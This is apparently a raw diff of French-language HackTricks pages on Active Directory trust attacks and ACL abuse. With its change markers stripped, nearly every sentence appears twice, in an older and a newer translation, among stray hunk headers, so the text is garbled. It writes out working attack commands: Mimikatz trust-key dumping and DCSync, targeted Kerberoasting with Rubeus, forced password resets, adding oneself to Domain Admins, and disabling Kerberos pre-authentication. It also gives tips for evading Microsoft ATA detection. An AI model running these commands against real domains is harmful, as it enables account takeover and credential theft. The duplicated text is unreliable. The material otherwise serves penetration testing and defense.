- **External Trusts**: Ceux-ci sont mis en place entre des domaines différents et non reliés et sont par nature non transitifs. Selon la [documentation Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), les external trusts sont utiles pour accéder aux ressources d'un domaine en dehors de la forêt actuelle qui n'est pas connecté par un forest trust. La sécurité est renforcée via le SID filtering avec les external trusts.
- **Tree-root Trusts**: Ces trusts sont établis automatiquement entre le domaine racine de la forêt et une nouvelle racine d'arbre ajoutée. Bien que moins fréquents, les tree-root trusts sont importants pour ajouter de nouveaux arbres de domaine à une forêt, leur permettant de conserver un nom de domaine unique et garantissant la transitivité bidirectionnelle. Plus d'informations sont disponibles dans le [guide Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
- **Forest Trusts**: Ce type de trust est un trust transitive bidirectionnel entre deux domaines racine de forêt, imposant également le SID filtering pour renforcer les mesures de sécurité.
- **MIT Trusts**: Ces trusts sont établis avec des domaines Kerberos non-Windows, [RFC4120-compliant](https://tools.ietf.org/html/rfc4120). Les MIT trusts sont un peu plus spécialisés et ciblent des environnements nécessitant une intégration avec des systèmes Kerberos hors de l'écosystème Windows.
#### Autres différences dans les **relations de confiance**
#### Other differences in **trusting relationships**
- Une relation de confiance peut également être **transitive** (A fait confiance à B, B fait confiance à C, alors A fait confiance à C) ou **non transitive**.
- Une relation de confiance peut être configurée comme une **confiance bidirectionnelle** (les deux se font confiance) ou comme une **confiance unidirectionnelle** (seul l'un d'eux fait confiance à l'autre).
- Une relation de trust peut aussi être **transitive** (A trust B, B trust C, donc A trust C) ou **non-transitive**.
- Une relation de trust peut être configurée comme un **trust bidirectionnel** (les deux se font confiance) ou comme un **trust unidirectionnel** (seul l'un fait confiance à l'autre).
### Chemin d'attaque
### Attack Path
1. **Énumérer** les relations de confiance
2. Vérifiez si un **principal de sécurité** (utilisateur/groupe/ordinateur) a **accès** aux ressources de l'**autre domaine**, peut-être par des entrées ACE ou en étant dans des groupes de l'autre domaine. Recherchez des **relations à travers les domaines** (la confiance a probablement été créée pour cela).
1. Kerberoast dans ce cas pourrait être une autre option.
3. **Compromettre** les **comptes** qui peuvent **pivoter** à travers les domaines.
1. **Énumérer** les relations de trust
2. Vérifier si un **security principal** (user/group/computer) a **accès** aux ressources de **l'autre domaine**, peut-être via des entrées ACE ou en faisant partie de groupes de l'autre domaine. Cherchez des **relations à travers les domaines** (le trust a probablement été créé pour cela).
1. kerberoast dans ce cas pourrait être une autre option.
3. **Compromettre** les **comptes** qui peuvent **pivot** à travers les domaines.
Les attaquants pourraient accéder aux ressources dans un autre domaine par trois mécanismes principaux :
Les attaquants peuvent accéder à des ressources dans un autre domaine par trois mécanismes principaux :
- **Membre de groupe local** : Les principaux pourraient être ajoutés à des groupes locaux sur des machines, comme le groupe "Administrateurs" sur un serveur, leur accordant un contrôle significatif sur cette machine.
- **Membre de groupe de domaine étranger** : Les principaux peuvent également être membres de groupes au sein du domaine étranger. Cependant, l'efficacité de cette méthode dépend de la nature de la confiance et de la portée du groupe.
- **Listes de contrôle d'accès (ACL)** : Les principaux pourraient être spécifiés dans une **ACL**, en particulier en tant qu'entités dans des **ACE** au sein d'un **DACL**, leur fournissant un accès à des ressources spécifiques. Pour ceux qui souhaitent approfondir les mécanismes des ACL, DACL et ACE, le document intitulé "[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)" est une ressource inestimable.
- **Local Group Membership**: Des principals peuvent être ajoutés à des groupes locaux sur des machines, comme le groupe “Administrators” sur un serveur, leur donnant un contrôle significatif sur cette machine.
- **Foreign Domain Group Membership**: Des principals peuvent aussi être membres de groupes au sein du domaine étranger. Cependant, l'efficacité de cette méthode dépend de la nature du trust et de la portée du groupe.
- **Access Control Lists (ACLs)**: Des principals peuvent être spécifiés dans une **ACL**, particulièrement comme entités dans des **ACEs** au sein d'une **DACL**, leur fournissant l'accès à des ressources spécifiques. Pour ceux souhaitant approfondir les mécanismes des ACLs, DACLs et ACEs, le whitepaper intitulé “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” est une ressource précieuse.
### Trouver des utilisateurs/groupes externes avec des permissions
### Find external users/groups with permissions
Vous pouvez vérifier **`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** pour trouver des principaux de sécurité étrangers dans le domaine. Ce seront des utilisateurs/groupes d'un **domaine/forêt externe**.
Vous pouvez vérifier **`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** pour trouver les foreign security principals dans le domaine. Ceux-ci seront des user/group provenant **d'un domaine/forest externe**.
Vous pourriez vérifier cela dans **Bloodhound** ou en utilisant powerview :
Vous pouvez vérifier cela dans **Bloodhound** ou en utilisant powerview:
```powershell
# Get users that are i groups outside of the current domain
Get-DomainForeignUser
@ -572,7 +612,7 @@ Get-DomainForeignUser
# Get groups inside a domain with users our
Get-DomainForeignGroupMember
```
### Escalade de privilèges de l'enfant au parent dans la forêt
### Escalade de privilèges d'une forêt enfant vers la forêt parent
```bash
# Fro powerview
Get-DomainTrust
@ -585,7 +625,7 @@ TrustDirection : Bidirectional --> Trust direction (2ways in this case)
WhenCreated : 2/19/2021 1:28:00 PM
WhenChanged : 2/19/2021 1:28:00 PM
```
Autres façons d'énumérer les relations de confiance de domaine :
Autres façons d'énumérer les trusts de domaine :
```bash
# Get DCs
nltest /dsgetdc:<DOMAIN>
@ -598,38 +638,38 @@ nltest /dclist:sub.domain.local
nltest /server:dc.sub.domain.local /domain_trusts /all_trusts
```
> [!WARNING]
> Il y a **2 clés de confiance**, une pour _Enfant --> Parent_ et une autre pour _Parent_ --> _Enfant_.\
> Vous pouvez utiliser celle utilisée par le domaine actuel avec :
> Il y a **2 trusted keys**, une pour _Child --> Parent_ et une autre pour _Parent_ --> _Child_.\
> Vous pouvez obtenir celle utilisée par le domaine courant avec :
>
> ```bash
> Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
> Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\mcorp$"'
> ```
#### Injection de SID-History
#### SID-History Injection
Élever les privilèges en tant qu'administrateur d'entreprise vers le domaine enfant/parent en abusant de la confiance avec l'injection de SID-History :
Escaladez en tant que Enterprise Admin vers le domaine enfant/parent en abusant de la trust avec SID-History injection :
{{#ref}}
sid-history-injection.md
{{#endref}}
#### Exploiter le NC de Configuration écrivable
#### Exploit writeable Configuration NC
Comprendre comment le Contexte de Nommage de Configuration (NC) peut être exploité est crucial. Le NC de Configuration sert de référentiel central pour les données de configuration à travers une forêt dans les environnements Active Directory (AD). Ces données sont répliquées à chaque Contrôleur de Domaine (DC) au sein de la forêt, les DC écrits maintenant une copie écrivable du NC de Configuration. Pour exploiter cela, il faut avoir **des privilèges SYSTEM sur un DC**, de préférence un DC enfant.
Comprendre comment le Configuration Naming Context (NC) peut être exploité est crucial. Le Configuration NC sert de référentiel central pour les données de configuration dans une forêt Active Directory (AD). Ces données sont répliquées sur chaque Domain Controller (DC) de la forêt, les DC inscriptibles conservant une copie inscriptible du Configuration NC. Pour exploiter cela, il faut disposer des **SYSTEM privileges sur un DC**, de préférence un child DC.
**Lier GPO au site DC racine**
**Link GPO to root DC site**
Le conteneur Sites du NC de Configuration inclut des informations sur tous les sites des ordinateurs joints au domaine au sein de la forêt AD. En opérant avec des privilèges SYSTEM sur n'importe quel DC, les attaquants peuvent lier des GPO aux sites DC racine. Cette action compromet potentiellement le domaine racine en manipulant les politiques appliquées à ces sites.
Le conteneur Sites du Configuration NC contient des informations sur les sites de tous les ordinateurs joints au domaine dans la forêt AD. En opérant avec des SYSTEM privileges sur n'importe quel DC, un attaquant peut lier des GPOs aux sites du root DC. Cette action peut compromettre le domaine racine en manipulant les politiques appliquées à ces sites.
Pour des informations approfondies, on peut explorer des recherches sur [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
Pour des informations détaillées, on peut consulter la recherche sur [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
**Compromettre n'importe quel gMSA dans la forêt**
**Compromise any gMSA in the forest**
Un vecteur d'attaque consiste à cibler les gMSA privilégiés au sein du domaine. La clé racine KDS, essentielle pour calculer les mots de passe des gMSA, est stockée dans le NC de Configuration. Avec des privilèges SYSTEM sur n'importe quel DC, il est possible d'accéder à la clé racine KDS et de calculer les mots de passe pour n'importe quel gMSA à travers la forêt.
Un vecteur d'attaque consiste à cibler les gMSA privilégiés au sein du domaine. La KDS Root key, essentielle pour calculer les mots de passe des gMSAs, est stockée dans le Configuration NC. Avec des SYSTEM privileges sur n'importe quel DC, il est possible d'accéder à la KDS Root key et de calculer les mots de passe de n'importe quel gMSA dans la forêt.
Une analyse détaillée et des conseils étape par étape peuvent être trouvés dans :
Une analyse détaillée et des instructions pas à pas sont disponibles dans :
{{#ref}}
@ -645,19 +685,19 @@ badsuccessor-dmsa-migration-abuse.md
Recherche externe supplémentaire : [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
**Attaque de changement de schéma**
**Schema change attack**
Cette méthode nécessite de la patience, en attendant la création de nouveaux objets AD privilégiés. Avec des privilèges SYSTEM, un attaquant peut modifier le Schéma AD pour accorder à n'importe quel utilisateur un contrôle total sur toutes les classes. Cela pourrait conduire à un accès non autorisé et à un contrôle sur les nouveaux objets AD créés.
Cette méthode demande de la patience, en attendant la création de nouveaux objets AD privilégiés. Avec des SYSTEM privileges, un attaquant peut modifier le AD Schema pour accorder à n'importe quel utilisateur le contrôle total sur toutes les classes. Cela peut conduire à un accès non autorisé et au contrôle des nouveaux objets AD créés.
Des lectures supplémentaires sont disponibles sur [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
Pour en savoir plus, consulter [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
**De DA à EA avec ADCS ESC5**
**From DA to EA with ADCS ESC5**
La vulnérabilité ADCS ESC5 cible le contrôle des objets d'Infrastructure à Clé Publique (PKI) pour créer un modèle de certificat qui permet l'authentification en tant que n'importe quel utilisateur au sein de la forêt. Comme les objets PKI résident dans le NC de Configuration, compromettre un DC enfant écrivable permet l'exécution d'attaques ESC5.
La vulnérabilité ADCS ESC5 vise le contrôle des objets de Public Key Infrastructure (PKI) pour créer un template de certificat permettant de s'authentifier comme n'importe quel utilisateur au sein de la forêt. Comme les objets PKI résident dans le Configuration NC, compromettre un child DC inscriptible permet d'exécuter des attaques ESC5.
Plus de détails à ce sujet peuvent être lus dans [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). Dans les scénarios sans ADCS, l'attaquant a la capacité de mettre en place les composants nécessaires, comme discuté dans [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
Plus de détails sont disponibles dans [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). Dans des scénarios sans ADCS, l'attaquant peut mettre en place les composants nécessaires, comme expliqué dans [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
### Domaine de forêt externe - Unidirectionnel (entrant) ou bidirectionnel
### External Forest Domain - One-Way (Inbound) or bidirectional
```bash
Get-DomainTrust
SourceName : a.domain.local --> Current domain
@ -668,13 +708,13 @@ TrustDirection : Inbound --> Inboud trust
WhenCreated : 2/19/2021 10:50:56 PM
WhenChanged : 2/19/2021 10:50:56 PM
```
Dans ce scénario, **votre domaine est de confiance** par un domaine externe vous donnant **des permissions indéterminées** sur celui-ci. Vous devrez trouver **quels principaux de votre domaine ont quel accès sur le domaine externe** et ensuite essayer de l'exploiter :
Dans ce scénario **votre domaine est trusted** par un domaine externe, vous donnant **permissions indéterminées** sur celui-ci. Vous devrez déterminer **quels principals de votre domaine ont quel access sur le domaine externe**, puis essayer d'en tirer parti :
{{#ref}}
external-forest-domain-oneway-inbound.md
{{#endref}}
### Domaine de forêt externe - Unidirectionnel (Sortant)
### Domaine de forêt externe - sens unique (sortant)
```bash
Get-DomainTrust -Domain current.local
@ -686,70 +726,73 @@ TrustDirection : Outbound --> Outbound trust
WhenCreated : 2/19/2021 10:15:24 PM
WhenChanged : 2/19/2021 10:15:24 PM
```
Dans ce scénario, **votre domaine** **fait confiance** à certains **privilèges** d'un principal provenant de **domaines différents**.
Dans ce scénario **votre domaine** accorde la **confiance** de certains **privilèges** à un principal provenant d'**un domaine différent**.
Cependant, lorsqu'un **domaine est trusted** par le domaine trustant, le domaine trusted **crée un utilisateur** avec un **nom prévisible** qui utilise comme **mot de passe le trusted password**. Ce qui signifie qu'il est possible **d'accéder à un utilisateur du domaine trustant pour pénétrer dans le domaine trusted** afin de l'énumérer et d'essayer d'escalader davantage de privilèges :
Cependant, lorsqu'un **domaine est approuvé** par le domaine de confiance, le domaine approuvé **crée un utilisateur** avec un **nom prévisible** qui utilise comme **mot de passe le mot de passe approuvé**. Ce qui signifie qu'il est possible d'**accéder à un utilisateur du domaine de confiance pour entrer dans le domaine approuvé** afin de l'énumérer et d'essayer d'escalader davantage de privilèges :
{{#ref}}
external-forest-domain-one-way-outbound.md
{{#endref}}
Une autre façon de compromettre le domaine approuvé est de trouver un [**lien SQL de confiance**](abusing-ad-mssql.md#mssql-trusted-links) créé dans la **direction opposée** de la confiance de domaine (ce qui n'est pas très courant).
Une autre façon de compromettre le domaine trusted est de trouver un [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links) créé dans la **direction opposée** de la trust de domaine (ce qui n'est pas très courant).
Une autre façon de compromettre le domaine trusted est d'attendre sur une machine où un **user from the trusted domain can access** pour se connecter via **RDP**. Ensuite, l'attaquant pourrait injecter du code dans le processus de session RDP et **accéder au domaine d'origine de la victime** depuis là.\
De plus, si la **victime a monté son disque dur**, depuis le processus de **RDP session** l'attaquant pourrait stocker des **backdoors** dans le **dossier de démarrage du disque dur**. Cette technique s'appelle **RDPInception.**
Une autre façon de compromettre le domaine approuvé est d'attendre sur une machine où un **utilisateur du domaine approuvé peut accéder** pour se connecter via **RDP**. Ensuite, l'attaquant pourrait injecter du code dans le processus de session RDP et **accéder au domaine d'origine de la victime** à partir de là.\
De plus, si la **victime a monté son disque dur**, à partir du processus de session **RDP**, l'attaquant pourrait stocker des **backdoors** dans le **dossier de démarrage du disque dur**. Cette technique s'appelle **RDPInception.**
{{#ref}}
rdp-sessions-abuse.md
{{#endref}}
### Atténuation des abus de confiance de domaine
### Atténuation des abus de trust de domaine
### **Filtrage SID :**
### **SID Filtering:**
- Le risque d'attaques exploitant l'attribut d'historique SID à travers les trusts de forêt est atténué par le filtrage SID, qui est activé par défaut sur tous les trusts inter-forêts. Cela repose sur l'hypothèse que les trusts intra-forêts sont sécurisés, considérant la forêt, plutôt que le domaine, comme la frontière de sécurité selon la position de Microsoft.
- Cependant, il y a un inconvénient : le filtrage SID peut perturber les applications et l'accès des utilisateurs, ce qui conduit à sa désactivation occasionnelle.
- Le risque d'attaques exploitant l'attribut SID history à travers des forest trusts est atténué par SID Filtering, qui est activé par défaut sur toutes les inter-forest trusts. Cela repose sur l'hypothèse que les intra-forest trusts sont sécurisés, considérant la forêt, plutôt que le domaine, comme la frontière de sécurité selon la position de Microsoft.
- Cependant, il y a un inconvénient : SID filtering peut perturber des applications et l'accès des utilisateurs, entraînant sa désactivation occasionnelle.
### **Authentification Sélective :**
### **Selective Authentication:**
- Pour les trusts inter-forêts, l'utilisation de l'authentification sélective garantit que les utilisateurs des deux forêts ne sont pas automatiquement authentifiés. Au lieu de cela, des autorisations explicites sont requises pour que les utilisateurs accèdent aux domaines et serveurs au sein du domaine ou de la forêt de confiance.
- Il est important de noter que ces mesures ne protègent pas contre l'exploitation du Contexte de Nommage de Configuration (NC) modifiable ou les attaques sur le compte de confiance.
- Pour les inter-forest trusts, l'utilisation de Selective Authentication garantit que les utilisateurs des deux forêts ne sont pas automatiquement authentifiés. À la place, des permissions explicites sont requises pour permettre aux utilisateurs d'accéder aux domaines et serveurs au sein du domaine ou de la forêt trustante.
- Il est important de noter que ces mesures ne protègent pas contre l'exploitation du writable Configuration Naming Context (NC) ni contre les attaques sur le trust account.
[**Plus d'informations sur les trusts de domaine dans ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
[**More information about domain trusts in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
## AD -> Azure & Azure -> AD
{{#ref}}
https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/index.html
{{#endref}}
## Quelques Défenses Générales
## Quelques défenses générales
[**En savoir plus sur la protection des identifiants ici.**](../stealing-credentials/credentials-protections.md)
[**Learn more about how to protect credentials here.**](../stealing-credentials/credentials-protections.md)
### **Mesures Défensives pour la Protection des Identifiants**
### **Mesures défensives pour la protection des credentials**
- **Restrictions des Administrateurs de Domaine** : Il est recommandé que les Administrateurs de Domaine ne soient autorisés à se connecter qu'aux Contrôleurs de Domaine, évitant leur utilisation sur d'autres hôtes.
- **Privilèges des Comptes de Service** : Les services ne doivent pas être exécutés avec des privilèges d'Administrateur de Domaine (AD) pour maintenir la sécurité.
- **Limitation Temporelle des Privilèges** : Pour les tâches nécessitant des privilèges d'AD, leur durée doit être limitée. Cela peut être réalisé par : `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
- **Domain Admins Restrictions** : Il est recommandé que les Domain Admins ne soient autorisés à se connecter qu'aux Domain Controllers, en évitant leur utilisation sur d'autres hôtes.
- **Service Account Privileges** : Les services ne devraient pas s'exécuter avec les privilèges de Domain Admin (DA) pour maintenir la sécurité.
- **Temporal Privilege Limitation** : Pour les tâches nécessitant des privilèges DA, leur durée doit être limitée. Cela peut être réalisé via : `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
### **Mise en Œuvre de Techniques de Tromperie**
### **Mise en œuvre de techniques de deception**
- La mise en œuvre de la tromperie implique de poser des pièges, comme des utilisateurs ou des ordinateurs leurres, avec des caractéristiques telles que des mots de passe qui n'expirent pas ou sont marqués comme de confiance pour la délégation. Une approche détaillée inclut la création d'utilisateurs avec des droits spécifiques ou leur ajout à des groupes de haute privilège.
- La mise en œuvre de la deception implique la pose de pièges, comme des utilisateurs ou ordinateurs leurres, avec des caractéristiques telles que des mots de passe qui n'expirent pas ou qui sont marqués Trusted for Delegation. Une approche détaillée inclut la création d'utilisateurs avec des droits spécifiques ou leur ajout à des groupes à hauts privilèges.
- Un exemple pratique implique l'utilisation d'outils comme : `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
- Plus d'informations sur le déploiement de techniques de tromperie peuvent être trouvées sur [Deploy-Deception sur GitHub](https://github.com/samratashok/Deploy-Deception).
- Plus d'informations sur le déploiement de techniques de deception sont disponibles sur [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception).
### **Identification de la Tromperie**
### **Identifier la deception**
- **Pour les Objets Utilisateurs** : Les indicateurs suspects incluent un ObjectSID atypique, des connexions peu fréquentes, des dates de création et un faible nombre de mauvais mots de passe.
- **Indicateurs Généraux** : Comparer les attributs des objets leurres potentiels avec ceux des objets authentiques peut révéler des incohérences. Des outils comme [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) peuvent aider à identifier de telles tromperies.
- **For User Objects** : Les indicateurs suspects incluent un ObjectSID atypique, des logons peu fréquents, des dates de création, et un faible nombre de mauvais mots de passe.
- **Indicateurs généraux** : Comparer les attributs d'objets potentiellement leurres avec ceux d'objets authentiques peut révéler des incohérences. Des outils comme [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) peuvent aider à identifier de telles deceptions.
### **Contournement des Systèmes de Détection**
### **Bypassing Detection Systems**
- **Contournement de la Détection Microsoft ATA** :
- **Énumération des Utilisateurs** : Éviter l'énumération de session sur les Contrôleurs de Domaine pour prévenir la détection par l'ATA.
- **Impersonation de Ticket** : Utiliser des clés **aes** pour la création de tickets aide à échapper à la détection en évitant de rétrograder vers NTLM.
- **Attaques DCSync** : Il est conseillé d'exécuter à partir d'un non-Contrôleur de Domaine pour éviter la détection par l'ATA, car une exécution directe à partir d'un Contrôleur de Domaine déclenchera des alertes.
- **Microsoft ATA Detection Bypass** :
- **User Enumeration** : Éviter l'énumération de sessions sur les Domain Controllers pour prévenir la détection par ATA.
- **Ticket Impersonation** : Utiliser des clés **aes** pour la création de tickets aide à éviter la détection en ne rétrogradant pas vers NTLM.
- **DCSync Attacks** : Exécuter depuis une machine non-Domain Controller pour éviter la détection par ATA est conseillé, car une exécution directe depuis un Domain Controller déclenchera des alertes.
## Références

103
src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md
View File

@ -1,4 +1,4 @@
# Abus des ACL/ACE Active Directory
# Abuser les ACLs/ACEs d'Active Directory
{{#include ../../../banners/hacktricks-training.md}}
@ -6,66 +6,75 @@
## BadSuccessor
{{#ref}}
BadSuccessor.md
{{#endref}}
## **Droits GenericAll sur l'utilisateur**
## **GenericAll Rights on User**
Ce privilège accorde à un attaquant un contrôle total sur un compte utilisateur cible. Une fois les droits `GenericAll` confirmés à l'aide de la commande `Get-ObjectAcl`, un attaquant peut :
Ce privilège accorde à un attaquant le contrôle total d'un compte utilisateur cible. Une fois les droits `GenericAll` confirmés à l'aide de la commande `Get-ObjectAcl`, un attaquant peut :
- **Changer le mot de passe de la cible** : En utilisant `net user <username> <password> /domain`, l'attaquant peut réinitialiser le mot de passe de l'utilisateur.
- **Kerberoasting ciblé** : Assigner un SPN au compte de l'utilisateur pour le rendre kerberoastable, puis utiliser Rubeus et targetedKerberoast.py pour extraire et tenter de cracker les hachages du ticket-granting ticket (TGT).
- **Targeted Kerberoasting** : Attribuer un SPN au compte utilisateur pour le rendre kerberoastable, puis utiliser Rubeus et targetedKerberoast.py pour extraire et tenter de craquer les hachages du ticket-granting ticket (TGT).
```bash
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
.\Rubeus.exe kerberoast /user:<username> /nowrap
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
```
- **Targeted ASREPRoasting** : Désactivez la pré-authentification pour l'utilisateur, rendant son compte vulnérable à l'ASREPRoasting.
- **Targeted ASREPRoasting**: Désactiver la pré-authentification pour l'utilisateur, rendant son compte vulnérable à ASREPRoasting.
```bash
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
```
## **Droits GenericAll sur le Groupe**
## **Droits GenericAll sur un groupe**
Ce privilège permet à un attaquant de manipuler les appartenances aux groupes s'il a des droits `GenericAll` sur un groupe comme `Domain Admins`. Après avoir identifié le nom distingué du groupe avec `Get-NetGroup`, l'attaquant peut :
Ce privilège permet à un attaquant de manipuler les adhésions aux groupes s'il dispose des droits `GenericAll` sur un groupe comme `Domain Admins`. Après avoir identifié le nom distingué du groupe avec `Get-NetGroup`, l'attaquant peut :
- **S'ajouter au Groupe des Domain Admins** : Cela peut être fait via des commandes directes ou en utilisant des modules comme Active Directory ou PowerSploit.
- **S'ajouter au groupe `Domain Admins`** : Cela peut être fait via des commandes directes ou en utilisant des modules comme Active Directory ou PowerSploit.
```bash
net group "domain admins" spotless /add /domain
Add-ADGroupMember -Identity "domain admins" -Members spotless
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
```
- Depuis Linux, vous pouvez également utiliser BloodyAD pour vous ajouter à des groupes arbitraires lorsque vous détenez GenericAll/Write membership sur ces groupes. Si le groupe cible est imbriqué dans “Remote Management Users”, vous obtiendrez immédiatement un accès WinRM sur des hôtes qui prennent en compte ce groupe:
```bash
# Linux tooling example (BloodyAD) to add yourself to a target group
bloodyAD --host <dc-fqdn> -d <domain> -u <user> -p '<pass>' add groupMember "<Target Group>" <user>
# If the target group is member of "Remote Management Users", WinRM becomes available
netexec winrm <dc-fqdn> -u <user> -p '<pass>'
```
## **GenericAll / GenericWrite / Write on Computer/User**
Détenir ces privilèges sur un objet ordinateur ou un compte utilisateur permet de :
Détenir ces privilèges sur un objet ordinateur ou un compte utilisateur permet :
- **Kerberos Resource-based Constrained Delegation** : Permet de prendre le contrôle d'un objet ordinateur.
- **Shadow Credentials** : Utilisez cette technique pour usurper l'identité d'un ordinateur ou d'un compte utilisateur en exploitant les privilèges pour créer des identifiants fantômes.
- **Kerberos Resource-based Constrained Delegation**: Permet de prendre le contrôle d'un objet ordinateur.
- **Shadow Credentials**: Utilisez cette technique pour vous faire passer pour un compte ordinateur ou utilisateur en exploitant les privilèges afin de créer des shadow credentials.
## **WriteProperty on Group**
Si un utilisateur a des droits `WriteProperty` sur tous les objets pour un groupe spécifique (par exemple, `Domain Admins`), il peut :
Si un utilisateur dispose des droits `WriteProperty` sur tous les objets d'un groupe spécifique (par ex., `Domain Admins`), il peut :
- **Add Themselves to the Domain Admins Group** : Réalisable en combinant les commandes `net user` et `Add-NetGroupUser`, cette méthode permet une élévation de privilèges au sein du domaine.
- **Add Themselves to the Domain Admins Group**: Cela peut être réalisé en combinant les commandes `net user` et `Add-NetGroupUser`; cette méthode permet la privilege escalation au sein du domaine.
```bash
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
```
## **Auto (Auto-Membership) dans le Groupe**
## **Self (Self-Membership) on Group**
Ce privilège permet aux attaquants de s'ajouter à des groupes spécifiques, tels que `Domain Admins`, via des commandes qui manipulent directement l'appartenance au groupe. L'utilisation de la séquence de commandes suivante permet l'auto-ajout :
Ce privilège permet aux attaquants de s'ajouter eux‑mêmes à des groupes spécifiques, tels que `Domain Admins`, via des commandes qui manipulent directement l'appartenance aux groupes. L'utilisation de la séquence de commandes suivante permet l'auto-ajout :
```bash
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
```
## **WriteProperty (Auto-adhésion)**
## **WriteProperty (Self-Membership)**
Un privilège similaire, cela permet aux attaquants de s'ajouter directement à des groupes en modifiant les propriétés du groupe s'ils ont le droit `WriteProperty` sur ces groupes. La confirmation et l'exécution de ce privilège sont effectuées avec :
Un privilège similaire, il permet aux attaquants de s'ajouter directement à des groupes en modifiant les propriétés des groupes s'ils disposent du droit `WriteProperty` sur ces groupes. La confirmation et l'exécution de ce privilège s'effectuent avec :
```bash
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
net group "domain admins" spotless /add /domain
```
## **ForceChangePassword**
Détenir le `ExtendedRight` sur un utilisateur pour `User-Force-Change-Password` permet de réinitialiser les mots de passe sans connaître le mot de passe actuel. La vérification de ce droit et son exploitation peuvent être effectuées via PowerShell ou d'autres outils en ligne de commande, offrant plusieurs méthodes pour réinitialiser le mot de passe d'un utilisateur, y compris des sessions interactives et des commandes en une ligne pour des environnements non interactifs. Les commandes vont des invocations PowerShell simples à l'utilisation de `rpcclient` sur Linux, démontrant la polyvalence des vecteurs d'attaque.
Détenir le `ExtendedRight` sur un utilisateur pour `User-Force-Change-Password` permet de réinitialiser le mot de passe sans connaître le mot de passe actuel. La vérification de ce droit et son exploitation peuvent être effectuées via PowerShell ou des outils en ligne de commande alternatifs, offrant plusieurs méthodes pour réinitialiser le mot de passe d'un utilisateur, y compris des sessions interactives et des one-liners pour des environnements non interactifs. Les commandes vont d'invocations PowerShell simples à l'utilisation de `rpcclient` sous Linux, démontrant la polyvalence des vecteurs d'attaque.
```bash
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
Set-DomainUserPassword -Identity delegate -Verbose
@ -76,23 +85,23 @@ Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureStri
rpcclient -U KnownUsername 10.10.10.192
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
```
## **WriteOwner sur le groupe**
## **WriteOwner on Group**
Si un attaquant découvre qu'il a des droits `WriteOwner` sur un groupe, il peut changer la propriété du groupe en sa faveur. Cela a un impact particulier lorsque le groupe en question est `Domain Admins`, car changer la propriété permet un contrôle plus large sur les attributs et l'appartenance du groupe. Le processus consiste à identifier l'objet correct via `Get-ObjectAcl` puis à utiliser `Set-DomainObjectOwner` pour modifier le propriétaire, soit par SID, soit par nom.
Si un attaquant découvre qu'il dispose des droits `WriteOwner` sur un groupe, il peut changer la propriété du groupe pour se l'attribuer. Cela est particulièrement impactant lorsque le groupe concerné est `Domain Admins`, car changer le propriétaire permet un contrôle plus large des attributs du groupe et de ses membres. Le processus consiste à identifier l'objet correct via `Get-ObjectAcl` puis à utiliser `Set-DomainObjectOwner` pour modifier le propriétaire, soit par SID soit par nom.
```bash
